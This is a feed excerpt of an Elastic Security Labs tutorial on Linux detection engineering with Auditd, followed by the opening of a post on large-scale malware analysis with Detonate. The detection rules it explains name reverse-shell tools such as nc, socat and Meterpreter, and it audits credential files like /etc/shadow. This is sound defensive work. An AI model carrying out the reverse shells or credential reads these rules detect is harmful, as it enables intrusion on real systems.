<li><code>--backlog_wait_time 60000</code>: specify the amount of time (in ms) that the audit system will wait if the audit backlog limit is reached before dropping audit records.</li>
</ul>
<h3>File System Rules</h3>
<p>Building upon these default control type settings, you can create file system rules, sometimes referred to as watches. These rules allow us to monitor files of interest for read, write, change and execute actions. A typical file system rule would look as follow:</p>
<pre><code>-w [path-to-file] -p [permissions] -k [keyname]
</code></pre>
<ul>
<li><code>-w</code>: the path to the file or directory to monitor.</li>
<li><code>-p</code>: any of the read (r), write (w), execute (e) or change (a) permissions.</li>
<li><code>-k</code>: the name of a key identifier that may be used to more easily search through the auditd logs.</li>
</ul>
<p>In case you want to monitor the <code>/etc/shadow</code> file for file reads, writes, and changes, and save any such events with a key named shadow_access, you could setup the following rule:</p>
<pre><code>-w /etc/shadow -p rwa -k shadow_access
</code></pre>
<h3>System call rules</h3>
<p>Auditd’s true power is revealed when working with its system call rules. Auditd system call rules are configurations that specify which system calls (syscalls) to monitor and log, allowing for detailed tracking of system activity and interactions with the operating system kernel. As each syscall is intercepted and matched to the rule, it is important to leverage this functionality with care by only capturing the syscalls of interest and, when possible, capturing multiple of these syscalls in one rule. A typical syscall rule would look like this:</p>
<pre><code>-a [action],[filter] -S [syscall] -F [field=value] -k [keyname]
</code></pre>
<p>You may leverage the <code>-a</code> flag followed by <code>action,filter</code> to choose when an event is logged, where <code>action</code> can be <code>always</code> (always create an event) or <code>never</code> (never create an event).</p>
<p>filter can be any of:</p>
<ul>
<li><code>task</code>:  logs task creation events.</li>
<li><code>entry</code>:  logs syscall entry points.</li>
<li><code>exit</code>:  logs syscall exits/results.</li>
<li><code>user</code>:  logs user-space events.</li>
<li><code>exclude</code>:  excludes events from logging.</li>
</ul>
<p>Next, you have:</p>
<ul>
<li><code>-S</code>: the syscall that you are interested in (name or syscall number).</li>
<li><code>-F</code>: one or more filters to choose what to match against.</li>
<li><code>-k</code>: the key identifier.</li>
</ul>
<p>With the information provided above, you should be able to understand the basics of most Auditd rules. For more information and examples of what values can be added to these rules, feel free to read more <a href="https://linux.die.net/man/7/audit.rules">here</a>.</p>
<p>Getting started building and testing a comprehensive and dedicated Auditd rule file for your organization might seem daunting. Luckily, there are some good public rule file examples available on GitHub. A personal favorite template to build upon is <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0’s</a>, which is a good balance between visibility and performance.</p>
<p>One downside of using the Auditd Logs integration is that you manually need to install Auditd on each host that you want to monitor, and apply the rules file manually to each running Auditd instance. This means that every time you want to update the rules file, you will have to update it on all of the hosts. Nowadays, many organizations leverage management tools that can make this process less time consuming. However, Elastic also provides another way of ingesting Auditd logs through the Auditd Manager integration which alleviates the management burden.</p>
<h2>Introduction to Auditd Manager and setup</h2>
<p>The Auditd Manager integration receives audit events from the <a href="https://github.com/torvalds/linux/blob/master/kernel/audit.c">Linux Audit Framework</a> that is a part of the Linux kernel. This integration establishes a subscription to the kernel to receive the events as they occur. The Linux audit framework can send multiple messages for a single auditable event. For example, a <code>rename()</code> syscall causes the kernel to send eight separate messages. Each message describes a different aspect of the activity that is occurring (the syscall itself, file paths, current working directory, process title). This integration will combine all of the data from each of the messages into a single event. More information regarding Auditd Manager can be found <a href="https://docs.elastic.co/integrations/auditd_manager">here</a>.</p>
<p>Additionally, Auditd Manager solves the management burden as it allows centralized management through <a href="https://www.elastic.co/de/guide/en/fleet/current/fleet-overview.html">Fleet</a>. An update to the integration will automatically be applied to all Elastic agents that are part of the changed agent policy.</p>
<p>Setting up the Auditd Manager integration is simple. You need to make sure that Auditd is no longer running on our hosts, by stopping and disabling the service.</p>
<pre><code>sudo systemctl stop auditd
sudo systemctl disable auditd
</code></pre>
<p>You can now remove the Auditd Logs integration from our agent policy, and instead install/add the Auditd Manager integration.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image30.png" alt="Auditd Manager integration in Elastic" /></p>
<p>There are several options available for configuring the integration. Auditd Manager provides us with the option to set the audit config as immutable (similar to setting the <code>-e 2</code> control-type rule in the Auditd configuration), providing additional security in which unauthorized users cannot change the audit system, making it more difficult to hide malicious activity.</p>
<p>You can leverage the Resolve IDs functionality to enable the resolution of UIDs and GIDs to their associated names.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image25.png" alt="Resolve IDs toggle" /></p>
<p>For our Auditd rule management, you can either supply the rules in the Audit rules section, or leverage a rule file and specify the file path to read this file from. The rule format is similar to the rule format for the Auditd Logs integration. However, instead of supplying control flags in our rule file, you can set these options in the integration settings instead.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image16.png" alt="Setting Auditd rules" /></p>
<p>Auditd Manager automatically purges all existing rules prior to adding any new rules supplied in the configuration, making it unnecessary to specify the <code>-D</code> flag in the rule file. Additionally, you can set our failure mode to <code>silent</code> in the settings, and therefore do not need to supply the <code>-f</code> flag either.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image6.png" alt="Specifying failure mode" /></p>
<p>You can set the backlog limit as well, which would be similar to setting the <code>-b</code> flag.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image29.png" alt="Specifying the backlog limit" /></p>
<p>There is also an option for setting the backpressure strategy, equivalent to the <code>--backlog_wait_time</code> setting.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image22.png" alt="Setting the backpressure strategy" /></p>
<p>Finally, check the option to preserve the original event, as this will allow you to analyze the event easier in the future.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image19.png" alt="Preserve original event toggle" /></p>
<p>You can now save the integration, and apply it to the agent policy for the hosts from which you would like to receive Auditd logs.</p>
<h2>Auditd rule file troubleshooting</h2>
<p>The rule file provided by Neo23x0 does not work for Auditd Manager by default. To get it to work, you will have to make some minor adjustments such as removing the control type flags, a UID to user conversion for a user that is not present on default systems, or a redundant rule entry. The changes that have to be made will ultimately be unique to your environment.</p>
<p>You have two ways of identifying the errors that will be generated when copy-pasting an incompatible file into the Auditd Manager integration. You can navigate to the agent that received the policy, and look at the integration input error. You can analyze the errors one by one, and change or remove the conflicting line.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image11.png" alt="Integration input status logs" /></p>
<p>You can also use the <a href="https://www.elastic.co/de/guide/en/kibana/current/discover.html">Discover</a> tab, select our Auditd Manger data view, and filter for events where the <code>auditd.warnings</code> field exists, and go through the warnings one-by-one.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image14.png" alt="Auditd warnings in Discover" /></p>
<p>For example, you can see that the error states “unknown rule type” , which is related to Auditd not supporting control rules. The “failed to convert user ‘x’ to a numeric ID”, is related to the user not existing on the system. And finally, “rule ‘x’ is a duplicate of ‘x’”, is related to duplicate rules. Now that you removed the conflicting entries, and our agent status is healthy, you can start analyzing some Auditd data!</p>
<h2>Analyzing Auditd Manager events</h2>
<p>Now that you have Auditd Manager data available in our Elasticsearch cluster, just like you did before, you can create a dataview for the <code>logs-auditd_manager.auditd*</code> index to specifically filter this data. Our implemented rule file contains the following entry:</p>
<pre><code>-w /etc/sudoers -p rw -k priv_esc
</code></pre>
<p>This captures read and write actions for the <code>/etc/sudoers</code> file, and writes these events to a log with the <code>priv_esc</code> key. Let’s execute the <code>cat /etc/sudoers</code> command, and analyze the event. Let us first look at some of the fields containing general information.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image8.png" alt="Important fields within an event generated by Auditd Manager" /></p>
<p>You can see that the <code>/etc/sudoers</code> file was accessed by the <code>/usr/bin/cat</code> binary through the <code>openat()</code> syscall. As the file owner and group are <code>root</code>, and the user requesting access to this file is not UID 0 (root), the <code>openat()</code> syscall failed, which is represented in the log. Finally, you can see the tag that was linked to this specific activity.</p>
<p>Digging a bit deeper, you can identify additional information about the event.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image28.png" alt="Important fields within an event generated by Auditd Manager" /></p>
<p>You can see the process command line that was executed, and which process ID and process parent ID initiated the activity. Additionally, you can see from what architecture the event originated and through which <code>tty</code> (terminal connected to standard input) the command was executed.</p>
<p>To understand the a0-3 values, you need to dig deeper into Unix syscalls. You should at this point be aware of what a syscall is, but to be complete, a Unix syscall (system call) is a fundamental interface that allows a program to request a service from the operating system's kernel, such as file operations, process control, or network communications.</p>
<p>Let’s take a look at the <code>openat()</code> syscall. Consulting the <code>open(2)</code> man page (source), you see the following information.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image27.png" alt="System calls manual for open(2)" /></p>
<p><code>openat()</code> is an evolved version of the <code>open()</code> syscall, allowing for file access relative to a directory file descriptor (<code>dirfd</code>). This syscall enables a program to open a file or directory — a crucial operation for many system tasks. You can see that the syscall is part of the standard C library, and is available in <code>fcntl.h</code> header through the <code>#include &lt;fcntl.h&gt;</code> include statement.</p>
<p>Consulting the manual, you can see the <code>openat()</code> syscall syntax is as follows:</p>
<pre><code>int openat(int dirfd, const char *pathname, int flags, /* mode_t mode */);
</code></pre>
<ul>
<li><code>dirfd</code> specifies the directory file descriptor.</li>
<li><code>*pathname</code> is a pointer to the name of the file/directory to be opened.</li>
<li><code>flags</code> determine the operation mode (e.g., read, write, create, etc.).</li>
</ul>
<p>Returning to our original event, you are now ready to understand the <code>auditd.data.a0-a3</code> fields. The <code>a0</code> to <code>a3</code> values in an auditd log represent the arguments passed to a syscall. These arguments are crucial for understanding the context and specifics of the syscall's execution. Let's break down how these values relate to <code>openat()</code> and what they tell us about the attempted operation based on our earlier exploration.</p>
<ul>
<li><code>auditd.data.a0</code> (<code>dirfd</code>): The a0 value, <code>ffffff9c</code>, indicates a special directive, <code>AT_FDCWD</code>, suggesting the operation is relative to the current working directory.</li>
<li><code>auditd.data.a1</code> (<code>pathname</code>): The <code>a1</code> value, <code>7ffd0f81871d</code>, represents a hexadecimal memory address pointing to the pathname string of the target file or directory. In this case, it refers to an attempt to access the <code>/etc/sudoers</code> file.</li>
<li><code>auditd.data.a2</code> (<code>flags</code>): Reflected by the <code>a2</code> value of <code>0</code>, the flags argument specifies the mode in which the file is to be accessed. With <code>0</code> indicating no special flags were used, it implies a default operation – most likely read-only access.</li>
<li><code>auditd.data.a3</code> (<code>mode</code>): The <code>a3</code> value, also 0, becomes relevant in contexts where the file is being created, dictating the permissions set on the new file.</li>
</ul>
<p>Based on the analysis above, you now have a pretty good understanding of how to interpret Auditd Manager events.</p>
<p>A different way of quickly getting an idea of what an Auditd Manager event means is by using Elastic’s built-in <a href="https://www.elastic.co/de/guide/en/security/current/security-assistant.html">AI Assistant</a>. Let’s execute the <code>whoami</code> command, and take a look at the <code>auditd.messages</code> field within the event.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image3.png" alt="Content of the auditd.messages field" /></p>
<p>You can ask the Elastic AI Assistant to do the heavy lifting and analyze the event, after which you only have to consult the syscall manual to make sure that it was correct. Let’s first create a new system prompt, focused on analyzing Auditd logs, somewhat similar to this:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image18.png" alt="Auditd log analysis prompt for Elastic’s AI assistant" /></p>
<p>You can now leverage the newly created system prompt, and paste your Auditd message in there without any additional formatting, and receive the following response:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image10.png" alt="Auditd log analysis by Elastic’s AI assistant" /></p>
<p>Generative AI tools are very useful for receiving a quick explanation of an event. But generative AI can make mistakes, so you should always be cognizant of leveraging AI tools for this type of analysis, and double check what output it generates. Especially when leveraging the output of these tools for detection rule development, as one minor mistake could lead to faulty logic.</p>
<h2>Auditd Manager detection rule examples</h2>
<p>After reading the previous section, you should now have enough knowledge available to get started analyzing Auditd Manager logs. The current Elastic detection rules rule set mostly leverages the <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend integration</a>, but the number of rules that leverage Auditd is increasing significantly. This section will dive into several detection rules that leverage Auditd, explain the why and try to teach some underused techniques for writing detection rule queries.</p>
<h3>Potential reverse shell via UDP</h3>
<p>The <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_shell_via_udp_cli_utility_linux.toml">Potential Reverse Shell via UDP</a> rule aims to identify UDP-based reverse shells. As Elastic Defend does not currently capture UDP traffic, you can leverage Auditd to close this visibility gap. The rule leverages the following logic:</p>
<pre><code>sample by host.id, process.pid, process.parent.pid
  [process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;executed&quot; and process.name : (
    &quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;perl&quot;, &quot;python*&quot;, &quot;nc&quot;, &quot;ncat&quot;, &quot;netcat&quot;, &quot;php*&quot;,
    &quot;ruby&quot;, &quot;openssl&quot;, &quot;awk&quot;, &quot;telnet&quot;, &quot;lua*&quot;, &quot;socat&quot;
    )]
  [process where host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;socket&quot; and process.name : (
    &quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;perl&quot;, &quot;python*&quot;, &quot;nc&quot;, &quot;ncat&quot;, &quot;netcat&quot;, &quot;php*&quot;,
    &quot;ruby&quot;, &quot;openssl&quot;, &quot;awk&quot;, &quot;telnet&quot;, &quot;lua*&quot;, &quot;socat&quot;
    ) and auditd.data.a1 == &quot;2&quot;]
  [network where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;connected-to&quot; and
   process.name : (
    &quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;perl&quot;, &quot;python*&quot;, &quot;nc&quot;, &quot;ncat&quot;, &quot;netcat&quot;, &quot;php*&quot;,
    &quot;ruby&quot;, &quot;openssl&quot;, &quot;awk&quot;, &quot;telnet&quot;, &quot;lua*&quot;, &quot;socat&quot;
    ) and network.direction == &quot;egress&quot; and destination.ip != null and
   not cidrmatch(destination.ip, &quot;127.0.0.0/8&quot;, &quot;169.254.0.0/16&quot;, &quot;224.0.0.0/4&quot;, &quot;::1&quot;)]
</code></pre>
<p>The rule leverages the <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-samples">sample</a> functionality, which describes and matches a chronologically unordered series of events. This will ensure the sequence also triggers if the events occur in the same millisecond. Additionally, we leverage a whitelisting approach to specify suspicious binaries that are capable of spawning a reverse connection, allowing for a minimized false-positive rate.</p>
<p>We ensure the capturing of UDP connections by leveraging the Auditd data related to the <a href="https://man7.org/linux/man-pages/man2/socket.2.html"><code>socket()</code></a> syscall.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image23.png" alt="System calls manual synopsis for socket(2)" /></p>
<p>We see that the a0 value represents the domain, <code>a1</code> represents the type and <code>a2</code> represents the protocol used. Our rule leverages the <code>auditd.data.a1 == &quot;2&quot;</code> syntax, which translates to the <code>SOCK_DGRAM</code> type, which is UDP.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image9.png" alt="System calls manual types description for socket(2)" /></p>
<p>Finally, we ensure that we capture only egress network connections from the host and ensure the exclusion of IPv4 and IPv6 loopback addresses, IPv4 link-local and multicast addresses, and sequence the query by <code>process.pid</code> and <code>process.parent.pid</code> to make sure the events originate from the same (parent) process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image23.png" alt="Potential reverse shell via UDP alert" /></p>
<p>If we want to hunt for suspicious processes opening UDP sockets, we can query all socket() syscalls with <code>auditd.data.a1 == &quot;2&quot;</code>, count the number of distinct process occurrences, and sort them in an ascending order to find anomalies. To do so, we can leverage this ES|QL query:</p>
<pre><code>FROM logs-*, auditbeat-*
| EVAL protocol = CASE(
    auditd.data.a1 == &quot;1&quot;, &quot;TCP&quot;,
    auditd.data.a1 == &quot;2&quot;, &quot;UDP&quot;
)
| WHERE host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;socket&quot; and protocol == &quot;UDP&quot;
| STATS process_count = COUNT(process.name), host_count = COUNT(host.name) by process.name, protocol
| SORT process_count asc
| LIMIT 100
</code></pre>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image34.png" alt="ES|QL query for detecting uncommon UDP network connections" /></p>
<p>Looking at the results, we can see quite a few interesting processes pop up, which might be a good starting point for threat hunting purposes.</p>
<h3>Potential Meterpreter reverse shell</h3>
<p>Another interesting type of reverse connections that we leveraged Auditd for is the detection of the <a href="https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions/">Meterpreter shell</a>, which is a popular reverse shell used within the <a href="https://www.metasploit.com/">Metasploit-Framework</a>. The <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_shell_via_meterpreter_linux.toml">Potential Meterpreter Reverse Shell</a> rule leverages Meterpreter’s default host enumeration behavior to detect its presence.</p>
<pre><code>sample by host.id, process.pid, user.id
  [file where host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;open&quot; and auditd.data.a2 == &quot;1b6&quot; and file.path == &quot;/etc/machine-id&quot;]
  [file where host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;open&quot; and auditd.data.a2 == &quot;1b6&quot; and file.path == &quot;/etc/passwd&quot;]
  [file where host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;open&quot; and auditd.data.a2 == &quot;1b6&quot; and file.path == &quot;/proc/net/route&quot;]
  [file where host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;open&quot; and auditd.data.a2 == &quot;1b6&quot; and file.path == &quot;/proc/net/ipv6_route&quot;]
  [file where host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;open&quot; and auditd.data.a2 == &quot;1b6&quot; and file.path == &quot;/proc/net/if_inet6&quot;]
</code></pre>
<p>When Meterpreter spawns, it collects default system information such as the machine, user, and IP routing information by reading specific system files. We can see this behavior when decompiling the Meterpreter payload, as the paths are hardcoded into the binary.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image26.png" alt="Dissemination of a Meterpreter payload showing hardcoded full paths" /></p>
<p>Our detection logic leverages <code>auditd.data.a2 == “1b6”</code>, as this is consistent with the Meterpreter’s behavior. We can find Meterpreter leveraging this specific syscall combination to read files by looking at the way Meterpreter opens file handlers.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image2.png" alt="Dissemination of a Meterpreter payload showing the implementation of fopen64 syscalls" /></p>
<p>Just for informational purposes, some other paths that Meterpreter reads from can be found in the screenshot below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image20.png" alt="Auditd Manager events originating from Meterpreter payloads" /></p>
<p>We can leverage <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> to analyze a set of Meterpreter reverse shells, and easily find out what file paths are being accessed by all of them.</p>
<pre><code>FROM logs-*, auditbeat-*
| WHERE host.os.type == &quot;linux&quot; and event.action == &quot;opened-file&quot; and process.name in (&quot;shell-x64.elf&quot;, &quot;JBNhk&quot;, &quot;reverse.elf&quot;, &quot;shell.elf&quot;, &quot;elf&quot;) and auditd.data.a2 == &quot;1b6&quot;
| STATS file_access = COUNT_DISTINCT(process.name) by file.path
| SORT file_access desc
| LIMIT 100
</code></pre>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image17.png" alt="ES|QL query for analyzing which paths are accessed by different Meterpreter payloads" /></p>
<p>In this example we are only analyzing 5 Meterpreter shells, but using ES|QL we can easily scale this analysis to larger numbers. Based on the information above, we can see that the paths that were selected for the detection rule are present in all five of the samples.</p>
<p>Combining the above logic, we can potentially discover Linux Meterpreter payloads.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image35.png" alt="Potential Meterpreter reverse shell alert" /></p>
<h3>Linux FTP/RDP brute force attack detected</h3>
<p>Given that there are so many different FTP/RDP clients available for Linux, and the authentication logs are not entirely implemented similarly, you can leverage Auditd’s <code>auditd.data.terminal</code> field to detect different FTP/RDP implementations. Our FTP detection logic looks as follows:</p>
<pre><code>sequence by host.id, auditd.data.addr, related.user with maxspan=3s
  [authentication where host.os.type == &quot;linux&quot; and event.action == &quot;authenticated&quot; and 
   auditd.data.terminal == &quot;ftp&quot; and event.outcome == &quot;failure&quot; and auditd.data.addr != null and 
   auditd.data.addr != &quot;0.0.0.0&quot; and auditd.data.addr != &quot;::&quot;] with runs=5

  [authentication where host.os.type == &quot;linux&quot; and event.action  == &quot;authenticated&quot; and 
   auditd.data.terminal == &quot;ftp&quot; and event.outcome == &quot;success&quot; and auditd.data.addr != null and 
   auditd.data.addr != &quot;0.0.0.0&quot; and auditd.data.addr != &quot;::&quot;] | tail 1
</code></pre>
<p>Here, we sequence 5 failed login attempts with 1 successful login attempt on the same host, from the same IP and for the same user. We leverage the <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/eql-pipe-ref.html">tail</a> feature which works similar to tail in Unix, selecting the last X number of alerts rather than selecting all alerts within the timeframe. This does not affect the SIEM detection rules interface, it is only used for easier readability as brute force attacks can quickly lead to many alerts.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image7.png" alt="Potential Linux RDP brute force attack detected alert" /></p>
<p>Although we are leveraging different FTP tools such as <code>vsftpd</code>, the <code>auditd.data.terminal</code> entry remains similar across tooling, allowing us to capture a broader range of FTP brute forcing attacks. Our RDP detection rule leverages similar logic:</p>
<pre><code>sequence by host.id, related.user with maxspan=5s
  [authentication where host.os.type == &quot;linux&quot; and event.action == &quot;authenticated&quot; and
   auditd.data.terminal : &quot;*rdp*&quot; and event.outcome == &quot;failure&quot;] with runs=10
  [authentication where host.os.type == &quot;linux&quot; and event.action  == &quot;authenticated&quot; and
   auditd.data.terminal : &quot;*rdp*&quot; and event.outcome == &quot;success&quot;] | tail 1
</code></pre>
<p>Given that <code>auditd.data.terminal</code> fields from different RDP clients are inconsistent, we can leverage wildcards to capture their authentication events.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image21.png" alt="Potential Linux FTP brute force attack detected alert" /></p>
<h3>Network connection from binary with RWX memory region</h3>
<p>The <a href="https://man7.org/linux/man-pages/man2/mprotect.2.html"><code>mprotect()</code></a> system call is used to change the access protections on a region of memory that has already been allocated. This syscall allows a process to modify the permissions of pages in its virtual address space, enabling or disabling permissions such as read, write, and execute for those pages. Our aim with this detection rule is to detect network connections from binaries that have read, write and execute memory region permissions set. Let’s take a look at the syscall.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image3.png" alt="System calls manual synopsis for mprotect" /></p>
<p>For our detection rule logic, the <code>prot</code> value is most important. You can see that <code>prot</code> can have the following access flags:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image12.png" alt="System calls manual prot access flags description for mprotect" /></p>
<p>As stated, <code>prot</code> is a bitwise OR of the values in the list. So for read, write, and execute permissions, we are looking for an int of:</p>
<pre><code>int prot = PROT_READ | PROT_WRITE | PROT_EXEC;
</code></pre>
<p>This translates to a value of <code>0x7</code> after bitwising, and therefore we will be looking at an <code>auditd.data.a2 == “7”</code>. We have created two detection rules that leverage this logic - <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_unknown_rwx_mem_region_binary_executed.toml">Unknown Execution of Binary with RWX Memory Region</a> and <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_netcon_from_rwx_mem_region_binary.toml">Network Connection from Binary with RWX Memory Region</a>. The detection rules that leverage specific Auditd configurations in order to function, will have a note about what rule to add in their setup guide:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image15.png" alt="Auditd Setup guide for detection rule" /></p>
<p>The prior leverages the <a href="https://www.elastic.co/de/guide/en/security/current/rules-ui-create.html#create-new-terms-rule">new_terms</a> rule type, which allows us to detect previously unknown terms within a specified time window. This allows us to detect binaries with RWX permissions that are being seen on a specific host for the first time, while reducing false positives for binaries that are overly permissive but used on a regular basis.</p>
<p>The latter leverages the following detection logic:</p>
<pre><code>sample by host.id, process.pid, process.name
[process where host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;mprotect&quot; and auditd.data.a2 == &quot;7&quot;]
[network where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;connection_attempted&quot; and
   not cidrmatch(destination.ip, &quot;127.0.0.0/8&quot;, &quot;169.254.0.0/16&quot;, &quot;224.0.0.0/4&quot;, &quot;::1&quot;)
]
</code></pre>
<p>We sample a process being executed with these RWX permissions, after which a network connection (excluding loopback, multicast, and link-local addresses) is initiated.</p>
<p>Interestingly enough, Metasploit often assigns these RWX permissions to specific regions of its generated payloads. For example, one of the events that trigger this detection logic in a testing stack is related to the execution of <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/postgres/postgres_payload.rb">Metasploit’s Postgres Payload for Linux</a>. When analyzing this payload’s source code, you can see that the payload_so function defines the <code>PROT_READ</code>, <code>PROT_WRITE</code> and <code>PROT_EXEC</code> flags.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image4.png" alt="Metasploit’s Postgres payload_so function" /></p>
<p>After which a specific memory region, with a specific page size of <code>0x1000</code> is given the RWX access flags in a similar fashion as described earlier.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image31.png" alt="Metasploit’s Postgres run_payload function" /></p>
<p>After running the payload, and querying the stack, you can see several hits are returned, which are all related to Metasploit Meterpreter payloads.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image13.png" alt="Network connection from binary with RWX memory region alert" /></p>
<p>Focusing on the Postgres payload that we were analyzing earlier, you can see the exact payload execution path through our <a href="https://www.elastic.co/de/guide/en/security/current/visual-event-analyzer.html">visual event analyzer</a>. Elastic Security allows any event detected by Elastic Endpoint to be analyzed using a process-based visual analyzer, which shows a graphical timeline of processes that led up to the alert and the events that occurred immediately after. Examining events in the visual event analyzer is useful to determine the origin of potentially malicious activity and other areas in your environment that may be compromised. It also enables security analysts to drill down into all related hosts, processes, and other events to aid in their investigations.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image32.png" alt="Visual event analyzer view for Metasploit’s Postgres payload execution" /></p>
<p>In the analyzer you can see perl being leveraged to create and populate the jBNhk payload in the /tmp directory (with RWX permissions) and spawning a reverse Meterpreter shell.</p>
<h2>Conclusion</h2>
<p>In this post, we've dived into the world of Auditd, explaining what it is and its purpose. We showed you how to get Auditd up and running, how to funnel those logs into Elasticsearch to boost Unix/Linux visibility and enable you to improve your Linux detection engineering skills. We discussed how to craft Auditd rules to keep an eye on specific activities, and how to make sense of the events that it generates. To make life easier, we introduced Auditd Manager, an integration created by Elastic to take some of the management load off your shoulders. Finally, we wrapped up by exploring various detection rules and some of the research that went into creating them, enabling you to get the most out of this data source.</p>
<p>We hope you found this guide helpful! Incorporating Auditd into your Unix systems is a smart move for better security visibility. Whether you decide to go with our pre-built detection rules or craft some of your own, Auditd can really strengthen your Unix security game.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/Security Labs Images 30.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[An Elastic approach to large-scale dynamic malware analysis]]></title>
            <link>https://www.elastic.co/de/security-labs/an-elastic-approach-to-large-scale-dynamic-malware-analysis</link>
            <guid>an-elastic-approach-to-large-scale-dynamic-malware-analysis</guid>
            <pubDate>Mon, 31 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[This research reveals insights into some of the large-scale malware analysis performed by Elastic Security Labs, and complements research related to the Detonate framework.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In previous publications, we have written about Detonate: how we built it and how we use it within Elastic for malware analysis. This publication delves deeper into using Detonate for dynamic large-scale malware analysis.</p>
<p>At a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. For more information about Detonate, check out <a href="https://www.elastic.co/de/security-labs/click-click-boom-automating-protections-testing-with-detonate">Click, Click… Boom! Automating Protections Testing with Detonate</a>.</p>
<p>A significant portion of the data generated during execution consists of benign and duplicate information. When conducting dynamic malware analysis on a large scale, managing the vast amount of low-value data is a considerable challenge. To address it, we took advantage of several Elastic ingest pipelines, which we leveraged to effectively filter out noise from our datasets. This application of ingest pipelines enabled us to conveniently analyze our large volumes of malware data and identify several malicious behaviors that we were already interested in.</p>
<p>This research examines the concept of ingest pipelines, exploring their different types and applications, and how to implement them. We will then walk through a comprehensive workflow incorporating these ingest pipelines. We will discuss our scripts and the methods that we created in order to automate the entire process. Finally, we will present our results and discuss how the workflow shared in this publication can be leveraged by others to obtain similar outcomes.</p>
